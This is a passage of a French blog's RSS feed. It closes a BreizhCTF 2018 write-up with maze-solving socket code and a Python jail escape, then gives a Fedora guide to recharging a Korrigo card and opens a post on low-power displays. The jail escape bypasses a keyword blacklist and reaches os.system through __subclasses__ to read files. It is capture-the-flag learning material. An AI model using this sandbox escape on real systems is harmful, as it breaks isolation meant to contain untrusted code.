    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;No next step&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;st&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# parse input
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;walls&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;weights&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[],&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{},&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;STEP&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;New path&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;walls&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt;
                    &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;S&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt;
                    &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

                &lt;span class=&quot;n&quot;&gt;weights&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# create data structure
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;diagram5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;GridWithWeights&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;diagram5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;walls&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;walls&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;diagram5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;weights&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;weights&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# compute path
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;came_from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cost_so_far&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;dijkstra_search&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;diagram5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;reconstruct_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;came_from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;answer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;convert_path_to_relative_moves&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;answer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;st&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;answer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;utf-8&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ce qui permet d’obtenir le flag :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;BZHCTF{1_w45_br0k3_bu7_n0_m0r3}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;cuvée-dexception&quot;&gt;Cuvée d’exception&lt;/h2&gt;

&lt;p&gt;Une fois connecté à ce challenge en telnet, on était dans une jail python.
On nous demandait de déclencher 35 exceptions Python différentes. Bien entendu, impossible de lever ses propres exceptions.
J’ai commencé par essayer ce qui me passait par la tête :&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;throw&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{}[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Mais impossible d’en trouver d’autres.&lt;/p&gt;

&lt;p&gt;On a donc décidé de voir s’il n’était pas possible de sortir de la jail.
Notre point de départ était l’article &lt;a href=&quot;https://securite.intrinsec.com/2016/05/17/breizhctf-2016-write-up-pyjail-1-2-3/&quot;&gt;BreizhCTF 2016 – Write-Up – PyJail 1, 2, 3&lt;/a&gt; d’Intrinsec.&lt;/p&gt;

&lt;p&gt;Malheureusement pas de clé &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_module&lt;/code&gt; dans dans la classe &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;warnings.catch_warnings&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;En cherchant, &lt;a href=&quot;http://mricher.fr/&quot;&gt;Maximilien&lt;/a&gt; a trouvé un article nommé &lt;a href=&quot;http://blog.orleven.com/2016/10/27/python-sandbox-excape/&quot;&gt;Python Sandbox Escape&lt;/a&gt; (en chinois !) qui nous a permis de trouver l’inspiration.
Nous avons finalement trouvé une variable qui contenait le module &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os&lt;/code&gt; qui nous a permis d’exécuter des commandes et, finalement, de lire le flag.&lt;/p&gt;

&lt;p&gt;La jail possède une liste noire de mots clés, dont &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os&lt;/code&gt;. Il existe plusieurs solutions pour contourner cette limitation quand il s’agit d’une chaine de caractère, comme une concaténation : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;o&apos;+&apos;s&apos;&lt;/code&gt; ou encore en utilisant les codes ASCII &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;\x6F\x73&apos;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Finalement, la ligne suivante nous a permis de lire le flag :&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;print  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;\
        &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__class__&lt;/span&gt; \
        &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__base__&lt;/span&gt; \
        &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;__subclasses__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;59&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; \
        &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__init__&lt;/span&gt; \
        &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;func_globals&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;linecache&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; \
        &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__dict__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; \
        &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__dict__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;cat *&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ce qui permet d’obtenir le flag :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;BZHCTF{y0u_kn0w_by_n0w_4_l177l3_b17_m0r3_4b0u7_d1ff3r3n7_py7h0n_exceptions_4nd_m4yb3_m0r3}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et voilà, c’est tout !&lt;/p&gt;
</description>
        <pubDate>Sun, 22 Apr 2018 00:00:00 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2018-04-22/write-up-breizhctf-2018/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2018-04-22/write-up-breizhctf-2018/</guid>
      </item>
    
    
    
      <item>
        <title>Recharger sa carte Korrigo sur Fedora</title>
        
        <description>&lt;p&gt;La STAR, la Société de Transport de l’Agglomération Rennaise, propose à la vente des lecteurs de carte pour pouvoir recharger votre carte depuis chez vous. Pour cela, elle a fait le choix d’utiliser une application Java Web Start, qui fonctionne sous Windows, Mac OS et… Linux ! Pour autant, la procédure n’est pas totalement directe.&lt;/p&gt;

&lt;h2 id=&quot;installer-les-dépendances&quot;&gt;Installer les dépendances&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo dnf install pcsc-lite-ccid pcsc-tools icedtea-web
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Si vous rencontrez des problèmes à l’étape “Utilisez l’applet Java Web Start”, vous pouvez essayer d’installer le Java d’Oracle. Rendez-vous sur la page &lt;a href=&quot;https://java.com/en/download/linux_manual.jsp&quot;&gt;de téléchargement d’Oracle&lt;/a&gt; et choisissez Linux x64 RPM (ou Linux RPM si vous avez une installation 32 bits).&lt;/p&gt;

&lt;p&gt;Une fois téléchargé, executé la commande suivante dans le répertoire de téléchargement :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo dnf install jre-8u151-linux-x64.rpm
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Puis remplacez par la suite toutes les occurences de javaws par :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/usr/java/jre1.8.0_151/bin/javaws
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;test-du-lecteur&quot;&gt;Test du lecteur&lt;/h2&gt;

&lt;p&gt;Vous devez probablement être dans le groupe dialout pour utiliser votre lecteur USB :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo usermod -a -G dialout votre_nom_d_utilisateur
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Vous allez également devoir démarrer le daemon pcscd :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo systemctl start pcscd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Vérifiez que votre carte est bien détectée en lançant :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;pcsc_scan -n
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;utiliser-lapplet-java-web-start&quot;&gt;Utiliser l’applet Java Web Start&lt;/h2&gt;

&lt;p&gt;Avant toute chose, il faut savoir que Java cherche la lib sous le nom de libpcsclite.so et non pas libpcsclite.so.1. Nous allons donc exécuter la commande suivante :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo ln -s /usr/lib64/libpcsclite.so.1 /usr/local/lib64/libpcsclite.so
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ensuite, connectez-vous sur votre compte STAR, et cliquez sur “Lire ma carte”.
Puis sur le bouton commencer, le site va vous proposer de télécharger un fichier en .jnlp. Une fois téléchargé, exécutez le comme suit :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;javaws Application-KorriGo-STAR.jnlp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Normalement le site va détecter votre lecteur puis votre carte.&lt;/p&gt;

&lt;p&gt;Bon courage !&lt;/p&gt;
</description>
        <pubDate>Mon, 15 Jan 2018 00:00:00 +0100</pubDate>
        <link>https://quentin.dufour.io/blog/2018-01-15/recharger-carte-korrigo-sur-fedora/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2018-01-15/recharger-carte-korrigo-sur-fedora/</guid>
      </item>
    
    
    
      <item>
        <title>Affichages inertes</title>
        
        <description>&lt;p&gt;Ce que j’appelle affichage inerte, à défaut de connaître le vrai terme, correspond à des techniques d’affichage ne demandant pas ou peu d’électricité quand le contenu n’est pas mis à jour. Je me suis mis à la recherche de ces dernières car elles pourraient être très pratiques pour créer un affichage peu souvent mis à jour, comme pour de la surveillance (monitoring), pour des outils d’intégrations continus (comme Jenkins), des emails, des rappels, la météo, etc.&lt;/p&gt;

&lt;h2 id=&quot;affichage-à-palettes&quot;&gt;Affichage à palettes&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/inerte_01.jpg&quot;&gt;&lt;img src=&quot;/assets/images/posts/inerte_01.jpg&quot; alt=&quot;Affichage à Paris&quot; /&gt;&lt;/a&gt;
&lt;em&gt;Gare du Nord - L.Willms - CC-BY-SA - &lt;a href=&quot;https://commons.wikimedia.org/wiki/File:Gare_du_Nord_Fallblattanzeiger_Departure-board.JPG&quot;&gt;Wikipedia&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Aussi appelés split flap, flap board ou encore Solari board, ces afficheurs étaient initialement construits par l’entreprise italienne, Solari Di Udine. Encore aujourd’hui, ils sont chers à l’achat. On en retrouve principalement dans les gares bien qu’ils aient tendance à disparaître. En effet, ils seraient chers à maintenir et renderaient la circulation difficile à cause de l’accumulation des voyageurs autour de ces panneaux.&lt;/p&gt;

&lt;p&gt;Le cliquetis qu’ils émettent est souvent considéré comme un atout, car il permet de signifier une mise à jour de l’affichage. Aux Etats-Unis, ce dernier a été adapté pour &lt;a href=&quot;http://archive.boston.com/news/local/massachusetts/articles/2006/04/06/nostalgia_for_noise_at_south_station/&quot;&gt;un affichage LED dans une gare de Boston&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;On peut trouver plusieurs oeuvres d’art s’inspirant de ce concept, dont une à Stanford où, plutôt que de mettre des lettres sur les palettes, l’artiste les a peintes de différentes couleurs :&lt;/p&gt;

&lt;iframe width=&quot;520&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/ttajKgpJTns?rel=0&amp;amp;start=10&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;&lt;br /&gt;
